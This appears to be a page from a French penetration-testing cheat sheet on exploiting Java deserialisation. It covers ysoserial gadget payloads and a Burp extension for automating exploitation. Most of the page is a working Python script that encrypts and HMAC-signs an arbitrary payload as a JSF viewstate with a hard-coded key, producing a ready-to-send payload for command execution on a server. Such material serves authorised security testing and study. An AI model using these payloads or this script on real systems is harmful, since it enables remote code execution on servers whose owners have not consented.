Java

Deserialisation

Un objet sérialisé à l’aide de Java puis renvoyé à l’utilisateur peut être exploité afin d’exécuter des commandes sur le serveur ou obtenir des informations sur la cible. Afin de générer des payloads valides, il est nécessaire d’identifier des “gadgets”, c’est à dire des fonctions vulnérables présentes dans le code côté serveur. L’outil ysoserial permet de générer des payloads avec ces différents gadgets:

ysoserial <GADGET NAME> <COMMAND>

Il est souvent nécessaire d’essayer plusieurs gadgets pour en trouver un fonctionnel.

Le proxy Burp Suite Pro propose une extension nommée Java Deserialization Scanner permettant d’automatiser le process d’exploitation.

JSF

Le framework Java Server Faces utilise des viewstates sérialisées pour fonctionner. Il est possible de les exploiter pour exécuter des commandes sur le serveur que les viewstates soient configurées en mode client ou server.

Les viewstates sont encodées en base64 et peuvent parfois être compressées à l’aide de GZIP. En cas de renforcement de la configuration, un chiffrement DES avec une signature HMAC peut être appliqué. Le script suivant permet de générer une viewstate valide si l’on connait la clé de chiffrement:

#!/usr/bin/python3
import sys
import hmac
from urllib import parse
from base64 import b64encode
from hashlib import sha1
from pyDes import *

YELLOW = "\033[93m"
GREEN = "\033[32m"

def encrypt(payload,key):
	cipher = des(key, ECB, IV=None, pad=None, padmode=PAD_PKCS5)
	enc_payload = cipher.encrypt(payload)
	return enc_payload

def hmac_sig(enc_payload,key):
	hmac_sig = hmac.new(key, enc_payload, sha1)
	hmac_sig = hmac_sig.digest()
	return hmac_sig

key = b'JsF9876-'

if len(sys.argv) != 3 :
	print(YELLOW + "[!] Usage : {} [Payload File] [Output File]".format(sys.argv[0]))
else:
	with open(sys.argv[1], "rb") as f:
		payload = f.read()
		f.close()
	print(YELLOW + "[+] Encrypting payload")
	print(YELLOW + "  [!] Key : JsF9876-\n")
	enc_payload = encrypt(payload,key)
	print(YELLOW + "[+] Creating HMAC signature")
	hmac_sig = hmac_sig(enc_payload,key)
	print(YELLOW + "[+] Appending signature to the encrypted payload\n")
	payload = b64encode(enc_payload + hmac_sig)
	payload = parse.quote_plus(payload)
	print(YELLOW + "[*] Final payload : {}\n".format(payload))
	with open(sys.argv[2], "w") as f:
		f.write(payload)
		f.close()
	print(GREEN + "[*] Saved to : {}".format(sys.argv[2]))

Ressources :